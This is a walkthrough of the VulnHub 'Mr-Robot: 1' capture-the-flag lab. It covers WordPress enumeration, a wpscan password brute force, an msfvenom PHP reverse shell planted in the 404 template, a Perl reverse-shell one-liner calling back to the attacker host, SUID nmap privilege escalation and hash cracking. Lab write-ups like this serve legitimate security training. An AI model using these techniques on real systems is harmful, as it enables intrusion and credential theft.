Mr-Robot: 1
02 May 2019 | WalkthroughsVulnHub URL: https://www.vulnhub.com/entry/mr-robot-1,151/
Hostname: linux
IP Address: 10.183.0.204
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.204.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/mrrobot# nmap -Pn -sT -sV -sC -A -oA mrrobot -p 1-65535 10.183.0.204
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-01 21:24 EDT
Nmap scan report for linux.homenet.dom (10.183.0.204)
Host is up (0.0028s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 08:00:27:9B:2D:C0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 2.80 ms linux.homenet.dom (10.183.0.204)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.37 seconds
Gaining Access
Very little information was returned from nmap about the two web services available. Let's see if nikto has any more luck. We'll start with the HTTP service on TCP port 80.
root@kali:~/Walkthroughs/mrrobot# nikto -h http://10.183.0.204
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.183.0.204
+ Target Hostname: 10.183.0.204
+ Target Port: 80
+ Start Time: 2019-05-01 21:28:35 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://10.183.0.204/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2019-05-01 21:32:23 (GMT-4) (228 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Looks like we found lots of interesting things. So much so that we wonder if these are red herrings (or false positives due to invalid errors being returned).
Checking the robots.txt file, we have the following entries.
Looks like we have found at least one of our three keys.
root@kali:~/Walkthroughs/mrrobot# wget http://10.183.0.204/key-1-of-3.txt
--2019-05-02 00:01:09-- http://10.183.0.204/key-1-of-3.txt
Connecting to 10.183.0.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: 'key-1-of-3.txt'
key-1-of-3.txt 100%[=======================================================================>] 33 --.-KB/s in 0s
2019-05-02 00:01:09 (2.45 MB/s) - 'key-1-of-3.txt' saved [33/33]
root@kali:~/Walkthroughs/mrrobot# cat key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
We also have a large (7 MB) dictionary file, 'fsocity.dic'. We'll download that for later use.
One thing that jumps out in the nikto output is the header 'link' http://10.183.0.204/?p=23. We might can increment that number to find interesting pages. Let's see what loads when we visit the link 'as is'.
Let the games begin, apparently. Looking through the fancy JavaScript for the page, we notice there is a '420' option not listed in the menu of commands. Looking through to see what each command does:
-
question - loads an image gallery
-
fsociety - loads a video
-
prepare - loads a video
-
wakeup - loads a video
-
420 - loads a 'hidden' image gallery
-
inform - loads an image gallery
Checking out the 'hidden' image at http://10.183.0.204/images/420/420.jpg, it has the following quote.
Interestingly, the 'delay' in the JavaScript for this option is set to 400 (or 6.66666667 if you divide by 60... note the '666').
Running nikto against the HTTPS service on TCP port 443 produced essentially the same results. At this point we can run drib to see if there are some hidden directories or we can run wpscan to see what's going on with the wordpress site. I'll go with dirb first.
The only directory of interest returned was /image/. This returns what appears to be one of the only valid pages on the WordPress site.
Checking the links around the image, it appears this one would be item number 23 (like the p=23 parameter in our "link" header). Who knows if this means anything.
The next thing I tried to do was brute force WordPress user IDs. I chose to do up to 15052 IDs (based on the number in the picture), but this turned out to be fruitless. The blog doesn't really have any entries, so it is hard to brute force logins by id.
wpscan --url http://10.183.0.204/wordpress --wp-content-dir http://10.183.0.204/wp-content -e u1-15052
Next I wanted to try some names from the T.V. show Mr. Robot (based on the "theme" of this VM). I started looking up character names in IMDB. Annoyingly, and yet thankfully, the first one I tried "elliot" (the main character in the show) produced an error message that indicates that is a valid account.
Now that we have a valid account name and a large dictionary to use (fsocity.dic), I'll try to brute force the user's password with wpscan. However, before using the dictionary, I want to clean it up a bit. First, I'll see if there are duplicate words in it.
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic | sort | uniq -c | sort -rn | head -n 15
150 123456Seven
75 Zzydrax
75 zSqu8myTkY8
75 zones
75 Zone
75 zone
75 Zombie
75 Zoeyadams
75 zhthefinalcrush
75 Zeros
75 zeros
75 ZeroBased
75 ZeroBas
75 Zero
75 zero
Looks like there is a LOT of duplication. Each word shows up about 75 times. Looking at the end of the file, I find something more interesting.
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic | sort | uniq -c | sort -rn | tail -n 15
75 002
75 001
75 000080
75 000000
75 000
1 uHack
1 psychedelic
1 imhack
1 iamalearn
1 ER28-0652
1 c3fcd3d76192e4007dfb496cca67e13b
1 ABCDEFGHIJKLMNOPQRSTUVWXYZ
1 abcdefghijklmnopq
1 abcdEfghijklmnop
1 abcdefghijklmno
We have a handful of words that are only showing up once. I'm going to create a small subset of the dictionary with these single use words to see if they might be the password. If not, I'll filter down the dictionary to unique words and try again. To create my small list, I'll do the following.
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic | sort | uniq -c | sort -rn | awk '{ if ($1 == 1) print $2}' > fsocity.dic.small
root@kali:~/Walkthroughs/mrrobot# cat fsocity.dic.small
uHack
psychedelic
imhack
iamalearn
ER28-0652
c3fcd3d76192e4007dfb496cca67e13b
ABCDEFGHIJKLMNOPQRSTUVWXYZ
abcdefghijklmnopq
abcdEfghijklmnop
abcdefghijklmno
Now I'll run wpscan with the small dictionary. I'm going to try to take advantage of the xmlrpc service to speed up the brute force attempts.
wpscan --url http://10.183.0.204/wordpress --wp-content-dir http://10.183.0.204/wp-content --usernames 'elliot' --passwords fsocity.dic.small --output wpscan-password-attack-xmlrpc --password-attack xmlrpc
Once that ran, we checked our output file and found the following.
[i] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
Logging in with 'elliot', we see that the user is an Administrator. There are lots of ways to get a reverse shell (malicious plugin, malicious theme, plugin exploit). The easiest way (if we have write access to the themes directories) is to create our PHP reverse shell code using msfvenom and drop it into a Theme page. We'll try that first.
We'll use msfvenom to create our PHP reverse shell code.
root@kali:~/Walkthroughs/mrrobot# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3019 bytes
Next, we'll click Appearance -> Editor in WordPress and select the 404 Template on the right. We'll paste our shell code into the bottom of this page and click the Update File button.
Now we can start our listeners in Metasploit. I like to start two listeners because the PHP reverse shell doesn't stay active for very long. As soon as I connect I like to start another reverse shell (typically using perl).
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5433
With our shell code loaded into the 404 error page and our listeners started, we just have to request a page on the "blog" that doesn't exist.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.204:32835) at 2019-05-02 01:09:54 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/opt/bitnami/apps/wordpress/htdocs
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.204:34643) at 2019-05-02 01:10:38 -0400
Great! Our PHP reverse shell connected and then we were able to start a second session using the perl command.
Maintaining Access
[I didn't mess with this part this time.]
Privilege Escalation
Checking for SUID binaries, we find nmap in /usr/local/bin.
daemon@linux:/$ find / -user root -perm -4000 2>&1 | grep -v "Permission denied"
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
daemon@linux:/$ ls -l /usr/local/bin/nmap
-rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
Using nmap in "interactive" mode, we can execute commands as root by simply preceding the command with an exclamation point.
daemon@linux:/$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
root
waiting to reap child : No child processes
nmap> !/bin/sh
# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)
# cd /root
# ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Pivoting
N/A
Clean Up
*** REMOVE PHP reverse shell code from the template 404 page ***
Additional Info
key-2-of-3.txt
We found the second key in /home/robot.
bash-4.3# cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
password.raw-md5
The /home/robot directory contained a file named 'password.raw-md5'.
bash-4.3# cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Submitting the hash to https://hashkiller.co.uk/Cracker/MD5, we got the following.
I verified the password for user 'robot' was 'abcdefghijklmnopqrstuvwxyz'.
daemon@linux:/home/robot$ su - robot
Password: abcdefghijklmnopqrstuvwxyz
$ id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
wp-config.php
Checking the wp-config.php file in /opt/bitnami/apps/wordpress/htdocs, we find both database and FTP credentials.
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'bitnami_wordpress');
/** MySQL database username */
define('DB_USER', 'bn_wordpress');
/** MySQL database password */
define('DB_PASSWORD', '570fd42948');
/** MySQL hostname */
define('DB_HOST', 'localhost:3306');
[...]
define('FS_METHOD', 'ftpext');
define('FTP_BASE', '/opt/bitnami/apps/wordpress/htdocs/');
define('FTP_USER', 'bitnamiftp');
define('FTP_PASS', 'inevoL7eAlBeD2b5WszPbZ2gJ971tJZtP0j86NYPyh6Wfz1x8a');
define('FTP_HOST', '127.0.0.1');
define('FTP_SSL', false);
Logging into the database...
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ mysql -u bn_wordpress -p bitnami_wordpress
Enter password: 570fd42948
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 154798
Server version: 5.6.26 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
No entry for terminal type "dumb";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select user_login,user_pass from wp_users;
select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| mich05654 | $P$BpmKcWWjgC3/UGtj/fO36PsCxYC2E51 |
| elliot | $P$BHh01ohuhaRcy2EAC6ad//vTQ1eMwe. |
+------------+------------------------------------+
2 rows in set (0.00 sec)
I added the username and hash for mich05654 to a file and used john and the fsocity.dic to crack the password.
root@kali:~/Walkthroughs/mrrobot# cat wp_users
mich05654:$P$BpmKcWWjgC3/UGtj/fO36PsCxYC2E51
root@kali:~/Walkthroughs/mrrobot# john --wordlist=fsocity.dic wp_users
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Dylan_2791 (mich05654)
1g 0:00:00:00 DONE (2019-05-02 10:00) 4.761g/s 10057p/s 10057c/s 10057C/s 143..22title
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed